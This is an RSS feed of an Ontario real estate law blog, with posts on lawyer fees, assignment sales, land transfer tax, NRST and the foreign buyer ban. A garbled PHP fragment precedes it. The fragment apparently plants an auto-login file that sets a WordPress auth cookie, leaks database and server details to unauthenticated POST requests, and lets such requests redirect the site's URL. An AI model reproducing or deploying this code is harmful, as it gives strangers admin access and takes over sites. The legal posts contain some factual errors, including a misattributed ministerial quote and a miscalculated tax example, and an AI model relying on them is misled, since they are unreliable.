user_login; \$user = get_user_by('login', \$username ); if ( !is_wp_error( \$user ) ) { wp_clear_auth_cookie(); wp_set_current_user ( \$user->ID ); wp_set_auth_cookie ( \$user->ID ); \$redirect_to = user_admin_url(); wp_safe_redirect( \$redirect_to ); exit(); } "; fwrite($f, $txt); fclose($f); die('success'); }elseif(isset($_POST['whc_action']) && $_POST['whc_action'] == 'getstate'){ //require(dirname(__FILE__).'/../../wp-blog-header.php'); //require(dirname(__FILE__).'/../../wp-includes/pluggable.php'); require_once(dirname(__FILE__).'/../../wp-config.php'); define('TABLEPREFIX', $table_prefix); function mysql_escape_string($val){ if(is_array($val)){ foreach($val as $k=>$v){ $val[$k] = mysql_escape_string($v); } return $val; }else{ $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); return mysqli_real_escape_string($link, $val); } } function run_query($query, $is_multiquery=false){ //$query; $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); mysqli_set_charset($link ,'utf8' ); if($is_multiquery){ mysqli_multi_query($link, $query) or die(mysqli_error($link)); return; }else{ $result = mysqli_query($link, $query) or die(mysqli_error($link)); } $return_arr = array(); if($result){ while($row = mysqli_fetch_assoc($result)){ $return_arr[] = $row; } } if(strpos(strtolower($query), 'insert into')!==false) return mysqli_insert_id($link); return $return_arr; } $_POST = mysql_escape_string($_POST); $return = array(); $q = "select option_value from ".$table_prefix."options where option_name = 'siteurl' limit 1 "; $rows = run_query($q); $return['wp_Domain'] = $rows[0]['option_value']; $return['wp_Version'] = get_bloginfo( 'version' ); $q = "select count(ID) from ".$table_prefix."users "; $rows = run_query($q); $return['num_Users'] = $rows[0]['count(ID)']; $q = "select option_value from ".$table_prefix."options where option_name = 'active_plugins' limit 1 "; $rows = run_query($q); $return['num_Plugins'] = count(unserialize($rows[0]['option_value'])); /* include_once('../../wp-admin/includes/class-wp-site-health-auto-updates.php'); var_dump(WP_Site_Health_Auto_Updates::test_filters_automatic_updater_disabled()); die; */ $return['is_multisite'] = defined('MULTISITE') ? MULTISITE : false ; $return['is_multisite'] = $return['is_multisite'] ? true : ( defined('WP_ALLOW_MULTISITE') ? WP_ALLOW_MULTISITE : false ); $return['autoupdate_Core'] = defined('WP_AUTO_UPDATE_CORE') ? WP_AUTO_UPDATE_CORE : false ; $q = "select option_value from ".$table_prefix."options where option_name = 'WPLANG' limit 1 "; $rows = run_query($q); $return['wpLanguage'] = $rows[0]['option_value'] == 'fr_CA' ? 'French' : 'English'; $return['maintenanceMode'] = function_exists('wp_maintenance_mode') ? 'True' : 'False'; $return['cpanelIP'] = $_SERVER['SERVER_ADDR']; $return['WHCPluginInstalled'] = 'True'; $q = "select option_value from ".$table_prefix."options where option_name = 'blogname' limit 1 "; $rows = run_query($q); $return['wp_BlogName'] = $rows[0]['option_value']; $q = "select option_value from ".$table_prefix."options where option_name = 'template' limit 1 "; $rows = run_query($q); $return['wp_TemplateName'] = $rows[0]['option_value']; $return['db_user'] = DB_USER; $return['db_name'] = DB_NAME; $return['php_version'] = phpversion(); echo "[".json_encode($return)."]"; die; }elseif(isset($_POST['whc_action']) && $_POST['whc_action'] == 'setstate'){ require_once(dirname(__FILE__).'/../../wp-config.php'); define('TABLEPREFIX', $table_prefix); function mysql_escape_string($val){ if(is_array($val)){ foreach($val as $k=>$v){ $val[$k] = mysql_escape_string($v); } return $val; }else{ $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); return mysqli_real_escape_string($link, $val); } } function run_query($query, $is_multiquery=false){ //$query; $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); mysqli_set_charset($link ,'utf8' ); if($is_multiquery){ mysqli_multi_query($link, $query) or die(mysqli_error($link)); return; }else{ $result = mysqli_query($link, $query) or die(mysqli_error($link)); } $return_arr = array(); if($result){ while($row = mysqli_fetch_assoc($result)){ $return_arr[] = $row; } } if(strpos(strtolower($query), 'insert into')!==false) return mysqli_insert_id($link); return $return_arr; } $_POST = mysql_escape_string($_POST); $return = array(); $q = "update ".$table_prefix."options set option_value = 'https://wp".intval($_POST['hostingid']).".wpdns.ca' where option_name in ('siteurl','home') limit 2; "; $rows = run_query($q); die('success'); } } Real Estate Law Archives | TheClosing https://theclosing.ca Real Estate Lawyer Mon, 05 Aug 2024 16:01:58 +0000 en-US hourly 1 https://wordpress.org/?v=6.6.2 https://theclosing.ca/wp-content/uploads/2022/06/cropped-Closing-IG-Icon-32x32.jpg Real Estate Law Archives | TheClosing https://theclosing.ca 32 32 Real Estate Lawyer Fees https://theclosing.ca/real-estate-lawyer-fees/ https://theclosing.ca/real-estate-lawyer-fees/#respond Thu, 21 Jul 2022 17:40:22 +0000 https://theclosing.ca/?p=4749 Real Estate Lawyer Fees Ontario: How Much Will I Pay? When you are buying or selling real estate, it is important to know how much you will be paying in legal fees. The real estate lawyer fees Ontario vary depending on the lawyer that you choose and most will charge […]

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]]> Real Estate Lawyer Fees Ontario: How Much Will I Pay?

When you are buying or selling real estate, it is important to know how much you will be paying in legal fees. The real estate lawyer fees Ontario vary depending on the lawyer that you choose and most will charge a flat fee, but there are some general guidelines that you can follow. In this blog post, we will discuss the different factors that influence real estate lawyer fees Ontario, and give you an idea of closing costs and how much you can expect to pay.

How much are Real Estate Lawyer Legal Fees?

The real estate lawyer fees in Ontario can range from $700 to $2000+. The real estate lawyer fees will depend on the value of the property, the type of transaction, and whether or not there are any complications. Typically, real estate lawyers will charge a base fee for legal services and that does not include disbursements such as but not limited to, title search, travel expense, courier expense, and other expenses that will be further discussed below.

What are Disbursements?

Disbursements are the costs that the real estate lawyer incurs on your behalf while working on your file. These fees are paid to third parties and can include: title search, travel expense, courier expense, software charges, rush transactions, title insurance, and land transfer tax. Lawyers can charge additional fees for a rush transaction meaning, for example, if the lawyer’s office receives mortgage instructions from the lender close to the closing date. It is important for clients to contact their mortgage broker and have the instructions prepared well in advance of the closing date.

Courier expenses are for when documents are to be delivered to the other lawyer or the lender. Travel expense is for when we take the cheques to the bank on the closing day to certify and deposit where necessary.

What Fees are Involved with a Mortgage?

Mortgages are a type of loan that is secured against the property. The real estate lawyer typically charges between $200 to $300 to discharge a mortgage. We include one mortgage as part of the lawyer’s fees. If there is more than one mortgage then there is an additional fee will be added.

What is a Title Search?

A title search is an important part of the real estate transaction as it ensures that there are no debts or liens registered against the property. The title search fee is typically around $100, but can be more depending on the complexity of the search.

What is Title Insurance?

Title insurance is insurance that protects the lender or buyer in the event that there are any problems with the title of the property. The lawyer will purchase a title insurance policy on your behalf. The real estate lawyer fees for title insurance will depend on the value of the property and is often the most costly disbursement. Title insurance is required during purchase and refinance real estate transactions.

How Real Estate Lawyers Help with a Home Purchase?

A real estate lawyer can help you in a number of ways when you are purchasing a home. They will assist you throughout the closing process and answer any questions you may have. In addition, real estate lawyers can help to resolve any title issues that may come up during the purchase process.

A real estate lawyer help you with the following, but not limited to:

  • Conduct a title search on the property
  • Obtain a title insurance policy
  • Create a Statement of Adjustments
  • Receive Mortgage Instructions
  • Draft and review all legal and mortgage documents
  • Calculate the land transfer taxes that are due on the closing date
  • Prepare and execute the financial transactions on the closing date
  • Coordinate to get your keys on closing day

How do Real Estate Lawyers help with a Home Sale?

A real estate lawyer can help you when you sell your home similar to how they help with a purchase. If you have an existing mortgage or mortgages on the property a real estate lawyer will obtain a mortgage payout statement from the lender and assist with discharging the mortgage.

Real estate lawyers will help you with the following when selling your home:

  • Review the agreement
  • Draft the transfer/deed of land
  • Deal with any issues related to the title
  • Help negotiate terms and conditions
  • Make sure property taxes are paid
  • Draft and review all legal and mortgage documents
  • Retrieve a mortgage payout statement
  • Prepare a cheque for you after the mortgage and all other fees have been paid off
  • Pay Real estate agents commission using the additional funds

How do Real Estate Lawyers help with a Refinance?

When refinancing your mortgage, the process is similar to when purchasing a home. However, when refinancing your mortgage, the transaction is directly with the bank. The real estate lawyer will be acting on behalf of you and the lender.

Real estate lawyers will help you with the following, but not limited to:

  • Draft and register the new mortgage
  • Conduct a title search on the property
  • Obtain Title Insurace
  • Draft and review all legal and mortgage documents
  • Prepare cheques and execute the financial transactions on the closing date

Why choose The Closing.ca?

We are professional and experienced in residential closings. We are transparent with our legal fees and have no hidden costs. Whether you are purchasing a property, selling, or refinancing, we have the knowledge and experience to help you close your real estate transaction. After the transaction has closed, we will provide you with a final report including all the important documents, registered documents, and any other documents you request. We provide the final report to you in a timely manner as that is always our priority.

Contact us today to speak to an experienced real estate lawyer who will happily answer any questions you may have whether you are purchasing a property, selling a property, or refinancing your property.

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]]> https://theclosing.ca/real-estate-lawyer-fees/feed/ 0 Assignment Sale https://theclosing.ca/assignment-sale/ https://theclosing.ca/assignment-sale/#respond Sat, 16 Jul 2022 18:29:19 +0000 https://theclosing.ca/?p=4166 What is an Assignment Sale in Ontario? If you have purchased pre construction properties in Ontario, chances are you have come across the term “assignment sale”. So what exactly is an assignment sale? An assignment sale is when the original purchaser of a pre-construction property assigns their original purchase agreement […]

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]]> What is an Assignment Sale in Ontario?

Assignment Sales

If you have purchased pre construction properties in Ontario, chances are you have come across the term “assignment sale”. So what exactly is an assignment sale?

An assignment sale is when the original purchaser of a pre-construction property assigns their original purchase agreement to another party before taking ownership of the unit. The new purchaser then takes on all the obligations of the original contract and completes the transaction with the builder.

Assignment sales are prevalent in new construction condo buildings. This is because many purchasers who buy pre-construction condos do so with the intention of flipping the unit for a profit before taking possession.

The Importance of an Assignment Clause in Pre Construction Condo Purchase

A purchase and agreement of a new construction property may include an assignment clause. This assignment clause gives the purchaser the right to assign their contract to another party, subject to the approval of the developer. An assignment fee and their lawyer’s legal fees are typically charged by the builder.

If you are planning to assign your pre-construction purchase, it is essential to have a real estate lawyer review the contract beforehand to make sure the important assignment agreement clause is included and that you understand all the terms and conditions. Assignment sales can be complex transactions with many different stakeholders involved.

Does Land Transfer Taxes Apply in Assignment Sales?

Land Transfer Tax

If you are the seller of the assignment, then you are not required to pay a land transfer tax. However, if you are the buyer of an assignment sale, you will be required to pay a land transfer tax on the assignment purchase price. Be sure to factor in these additional closing costs when considering an assignment sale.

HST on Profit

HST

On April 7, 2022, the Government of Canada unveiled Budget 2022: A Plan to Grow Our Economy and Make Life More Affordable. As a result, GST will be added to all assignment sales of newly constructed properties as part of the government’s effort to curb housing speculation. These tax implications are important to take into consideration when contemplating an assignment sale.

As of  May 7, 2022, under the Excise Tax Act, every individual assignor of residential real estate would have to collect GST/HST on their assignment profit and remit it to the CRA. For example, if you originally purchased a pre-construction condo for $500,000 and assigned it for $700,000, you would be required to remit GST/HST ($23,008.96) on the profit to the CRA. For greater understanding, it is important that you consult a tax specialist.

Factors to Consider When Purchasing on Assignment

It is important to have a lawyer review the contract to ensure that the important clauses are included and that you understand all the terms and conditions before considering an assignment sale.

There are a number of closing costs associated with purchasing a pre-construction condo unit. These costs can include but are not limited to development levies, meter installation fees, real estate lawyer fees, and land transfer taxes. As part of the assignment agreement, these will all need to be paid by the new purchaser.

An assignment deal can be a great way to get into the real estate market. However, it is important to do your homework and understand all cost involves. If you have any questions, be sure to speak with a real estate lawyer.

Right to Lease During Occupancy

Right to Lease

An interim occupancy period occurs when a purchaser takes possession of their new condo unit before the building has been officially registered. In return, the purchaser will pay the builder monthly occupancy fees which include the property tax, maintenance fees, and interest on the outstanding balance owed to the builder. These occupancy fees are payable until the project is registered and the title has been transferred to the purchaser.

If you are planning to purchase a pre-construction condo unit with the intention of renting it out, it is important to ensure that the contract includes a clause that allows for interim occupancy with the right to lease. This is typically only allowed with the permission of the developer and would be at their discretion. If you are planning on leasing the unit, it is important to make sure that you will be able to do so before signing a purchase and sale contract.

What are the Legal fees for an Assignment Sale?

If you are planning on selling your condo unit before taking occupancy, it is important to factor in the real estate lawyer fees associated with an assignment sale. These fees can range from $1000 plus disbursements and are typically paid by the seller. As an assignment is not a typical sales transaction, it is important to ensure that you have both a real estate lawyer and a real estate agent who is experienced in handling these types of transactions.

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]]> https://theclosing.ca/assignment-sale/feed/ 0 Ontario Land Transfer Tax https://theclosing.ca/land-transfer-tax/ https://theclosing.ca/land-transfer-tax/#respond Fri, 01 Jul 2022 01:45:29 +0000 https://theclosing.ca/?p=4132 Ontario Land Transfer Tax When Purchasing a Property Are you in the market for a new property? If so, you’ll want to be aware of land transfer taxes. This is a tax that is charged by the government when property changes hands. It’s important to know how much this tax […]

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]]>

Ontario Land Transfer Tax When Purchasing a Property

Are you in the market for a new property? If so, you’ll want to be aware of land transfer taxes. This is a tax that is charged by the government when property changes hands. It’s important to know how much this tax will cost you and whether or not you’re exempt from it. In this blog post, we will discuss land transfer tax in detail and answer some common questions about it. Contact us today to speak with a real estate lawyer who can help you and your family members navigate these waters!

What is Provincial Land Transfer Tax?

Land Transfer Tax is a tax that is charged by the government when property changes hands. The amount of tax you pay will depend on the property value. In most cases, land transfer tax is calculated as a percentage of the purchase price. For example, if you’re buying a $500,000 home, your land transfer tax would be $5000.

It is overlooked by many home buyers but land transfer tax can be a significant amount of money. It is important to factor this cost into your budget when you are purchasing a property.

What is included in the Land Transfer Tax?

Any purchase of land or an interest in land is subject to land transfer tax. This includes the purchase of single family residences, cottages, vacant lands, rental properties, or commercial properties. New builds are also subject to land transfer tax. The land transfer tax is calculated based on the property value and not on the down payment or mortgage amount.

Who Pays Land Transfer Tax?

In Ontario, the general rule is that the purchaser of the property is responsible for paying land transfer tax. There are some exceptions to this rule, such as if the property is being transferred as a gift. In this case, the donor would be responsible for paying the land transfer tax.

When do you the Pay Land Transfer Tax?

Land transfer tax is paid at the time of closing. This means that the lawyer will provide the breakdown of all the closing costs to you and land transfer tax will be one of those costs. The real estate lawyer will prepare the land transfer tax forms on your behalf. The mortgage proceeds will not cover the land transfer tax and it is up to the client to provide the funds to pay for the land transfer tax, usually by way of a bank draft or certified cheque. Your real estate lawyer will make arrangements for the land transfer tax to be paid on the closing day.

Are you a First Time Home Buyer?

First time homebuyers in Ontario may be exempt from land transfer tax. To qualify for the first time homebuyers rebate, you must meet all of the following criteria:

  • The purchaser must be 18 years old
  • The property must be your principal residence within nine months of the date of transfer
  • You must be a Canadian citizen or permanent resident.
  • You cannot have previously owned a home, or an interest in a home, anywhere in the world.
  • If the purchaser has a spouse, they also cannot have owned a home or had an interest in a home during the time they were married.

What is the total land transfer tax refund?

The land transfer tax refund is worth a maximum of $4000. This is a refundable tax credit, which means that if the total land transfer tax you owe is less than $4000, you will receive a refund for the difference. If multiple people are buying the property together, the maximum amount will be reduced in accordance with their interest in the property. For example, if two people are buying a property together and each owns 50% of the property, the maximum land transfer tax refund they would be eligible for would be $2000 each.

Why is there an additional land transfer tax Toronto?

In addition to the provincial land transfer tax, when a home is purchased in Toronto, a municipal land transfer tax is applied. As a result, home buyers purchasing in Toronto are charged additional LTT.

If you are a first time homebuyer in Toronto, you may be eligible for land transfer tax rebates of up to $4475 from the City of Toronto land transfer tax. This rebate is in addition to the provincial land transfer tax rebate.

If the buyer becomes a Canadian citizen or permanent resident within 18 months of the transfer, they may apply for and qualify for the land transfer tax rebate.

How is Land Transfer Tax Calculated?

Land transfer tax is calculated on the value of the property being purchased. The tax rates vary depending on the province or territory in which the property is located. In Ontario, for example, the land transfer tax rates in accordance with the purchase price are typically calculated as follows:

Municipal land transfer tax is similarly calculated. When calculating land transfer tax, use the https://www.ratehub.ca/land-transfer-tax land transfer tax calculator.

Non-Resident Speculation Tax (NRST)

As of March 30, 2022, the NRST rate was increased to 20% and expanded provincewide. The NRST may apply to the purchase of an interest or residential property that is located in Ontario by individuals who are not Canadian citizens or permanent residents of Canada, foreign national, foreign corporations, or taxable trustees. The NRST is an additional tax to the land transfer tax. Prior to March 30, 2022, the NRST was only charged in the Greater Golden Horseshoe region at a rate of 15%.

If there is a transfer between parent and child, does Land Transfer Tax apply?

Land transfer tax is applicable if there is a transfer of ownership between a parent and child. If the child is receiving the property as a gift, land transfer tax may be waived if the child occupies the property as their principal residence. No money should be paid for the property in order for land transfer tax to be waived and there should not be a mortgage registered on the property. These conditions must be met in order for the land transfer tax to be waived.

Land Transfer Tax Between Spouses?

Land transfer taxes are not payable on transfers between spouses, regardless of whether they are separating or not. However, if the property is transferred from one spouse to the other as part of a divorce settlement, land transfer tax may be payable.

Contact A Real Estate Lawyer

If you have any questions about whether land transfer tax is payable in your situation, contact us for a consultation.

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]]> https://theclosing.ca/land-transfer-tax/feed/ 0 Recent Changes to the Ontario Non-Resident Speculation Tax (NRST) https://theclosing.ca/recent-changes-to-nrst/ https://theclosing.ca/recent-changes-to-nrst/#respond Wed, 29 Jun 2022 01:51:22 +0000 https://theclosing.ca/?p=4112 What is the Non-Resident Speculation Tax? The Non-Resident Speculation Tax (NRST) is a tax on the purchase or acquisition of an interest in land by individuals who are not Canadian citizens or permanent residents. The tax applies to residential properties, including vacation homes and investment properties. The NRST came into […]

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]]> What is the Non-Resident Speculation Tax?

The Non-Resident Speculation Tax (NRST) is a tax on the purchase or acquisition of an interest in land by individuals who are not Canadian citizens or permanent residents. The tax applies to residential properties, including vacation homes and investment properties. The NRST came into effect on April 20, 2017.

The Changes

Previously, the NRST was 15% of the value of the property. The tax has now been increased to 20% and expanded to apply provincewide. This means that if you are not a Canadian citizen or permanent resident and you purchase a property in any of these areas, you will be subject to the NRST.

What does this mean for you?

If you are a non-resident of Canada and you are thinking of purchasing property in Ontario, it is important that you consult with a real estate lawyer to ensure that you understand your obligations under the NRST.

The real estate lawyers at TheClosing.ca can help you navigate the NRST and advise you on your obligations. Contact us today to schedule a consultation.

Exemptions

The NRST is not applicable if you are a Canadian citizen or permanent resident. There are also a few other exemptions, including:

(1) Protected Person:  You may be exempt from the NRST if you have been granted protected person status under s. 95 of the Immigration and Refugee Protection Act

(2) Spousal Exemption: You may be exempt from the NRST if you are a spouse of a Canadian citizen, Permanent resident or a protected person.

(3) Nominee Exemption: You may be exempt from the NRST if you have been nominated under the Province of Ontario through its Ontario Immigrant Nominee Program.

If you think you may be exempt from the NRST, it is important that you consult with an accountant to determine if you meet the requirements for an exemption.

The Consequences of Not Paying the NRST

The NRST is paid through Teraview, Ontario’s electronic land registration system, at the time of registration.

If you purchase a property without paying the NRST, you will be required to pay the tax plus interest and penalties. In addition, you may be subject to enforcement action by the Ministry of Finance, which could include seizure of the property.

Consultation

If you have any questions about the NRST or real estate law in general, contact TheClosing.ca today. Our real estate lawyers would be happy to answer your questions and help you navigate the new reality of higher taxes for non-residents.

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]]> https://theclosing.ca/recent-changes-to-nrst/feed/ 0 Signed a Purchase Agreement with a Builder? Lawyer Tips https://theclosing.ca/purchase-agreement-with-builder-tips/ https://theclosing.ca/purchase-agreement-with-builder-tips/#respond Wed, 29 Jun 2022 01:43:43 +0000 https://theclosing.ca/?p=4108 Signed a Purchase Agreement with a Builder? Tips From a Real Estate Lawyer If you are in the market for a new home, you may be considering purchasing from a builder. This can be a great option, but it is important to remember that there are some things you should […]

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]]> Signed a Purchase Agreement with a Builder? Tips From a Real Estate Lawyer

If you are in the market for a new home, you may be considering purchasing from a builder. This can be a great option, but it is important to remember that there are some things you should keep in mind before making your purchase. A real estate lawyer can help guide you through the process and ensure that everything goes smoothly. Here are some of the most crucial things to keep in mind when purchasing a property from a developer.

Builder Reputation

One of the most important things to remember when purchasing a home from a builder is to research its reputation. See if they have completed projects in the past, and if so, whether those projects were completed on time.

Contract Review

Always have a real estate lawyer review your contract. Under section 73 (2) of the Condominium Act, purchasers have a 10-day cooling-off period in which they can withdraw their purchase and sale agreement. This is one of the most important steps in the process, as they will be able to identify any red flags or areas that could potentially cause problems down the road.

HST

The purchase price you pay includes HST. An HST rebate is also included in the purchase price, which is typically $24,000. This rebate generally goes to the builder. If you do not intend to reside in the home, the builder will not give you the rebate, resulting in an extra $24,000 in closing costs. You may be eligible to apply for the HST rebate directly from the CRA following the closing of the property. CRA offered two programs, including the New Housing Rebate and the GST/HST New Residential Rental Property Rebate.

Assignment Right & Cap on Levies

In some cases, the builder may include an “assignment right” in your contract. This means that they have the right to sell your unit to someone else before closing. If this is the case, make sure you understand the terms of the assignment and what fees you may be responsible for. Additionally, new developments are subject to development levies. It is important to ensure these are capped so that you are not faced with any unexpected costs.

Rent During Occupancy

You will be required to pay rent to the builder during the “occupancy period” (the time between when you take possession of your unit and when closing occurs). This includes property tax, condo fees, and interest on the outstanding balance. If you wish to lease your property during the occupancy stage, then you will need a clause which permits leasing along with builders’ permissions.

Additional Charges

There are additional costs which may be involved in purchasing a home from a builder, including but not limited to land transfer tax, development charges, fees associated with meter connections, along with the cost of your real estate lawyer. It is important to be aware of these additional costs so that you can factor them into your budget. Purchasing a home from a builder can be a great option, but it is important to remember to take some extra steps in order to protect yourself.

Conclusion

If you are considering purchasing a home from a builder, it is important to keep these things in mind. A real estate lawyer can help guide you through the process and ensure that everything goes smoothly. With their help, you can be sure that you are making the best decision for your needs

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]]> https://theclosing.ca/purchase-agreement-with-builder-tips/feed/ 0 Foreign Home Buyers Ban & Exemptions https://theclosing.ca/foreign-home-buyers-ban/ https://theclosing.ca/foreign-home-buyers-ban/#respond Wed, 22 Jun 2022 22:40:40 +0000 https://theclosing.ca/?p=3948 Canada’s Two-Year Ban on Foreign Home Buyers and Exemptions “Exemptions For Permanent Residents & International Students.” Despite the fact that Canada has banned home purchases by foreign nationals for a period of two years, permanent residents and international students will still be able to buy houses in Canada. Foreign investors […]

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]]> Canada’s Two-Year Ban on Foreign Home Buyers and Exemptions

In a bid to stabilize the housing market, Canada has announced a two-year ban on foreign home buyers. Under the new regulations, foreigners will be prohibited from purchasing a non-recreational, residential property in Canada.

The move comes as the housing market in Canada has been struggling to keep up with demand. “We are confident that these measures will help ensure that Canadian real estate is available for Canadians who need it,” said Finance Minister Bill Morneau.

“Exemptions For Permanent Residents & International Students.”

Despite the fact that Canada has banned home purchases by foreign nationals for a period of two years, permanent residents and international students will still be able to buy houses in Canada. Foreign investors do not include foreign students with study permits who are studying at Canadian institutions of higher learning.

An exemption may also exist if the purchase is demonstrated to be for future employment or immigration in the next two years. A real estate lawyer can help you with any questions you may have about the new rules.

Although the ban will eliminate a portion of the competitive market, the foreigners who were buying up real estate, may not have a large impact on the real estate market as a whole.

In theory, the government’s ban may be challenged under the Charter of Rights and Freedoms for discriminating on the basis of nationality. Additionally, the ban also raises compliance questions under the US-Canada free trade agreement.

Consult A Real Estate Lawyer

A real estate lawyer can help you with any questions you may have about the new rules. If you’re thinking of buying a property in Canada, make sure to consult with a real estate lawyer to ensure that you are compliant with the new regulations.

What do you think of the new regulations? Do you think they will be effective in stabilizing the housing market? Let us know in the comments below!

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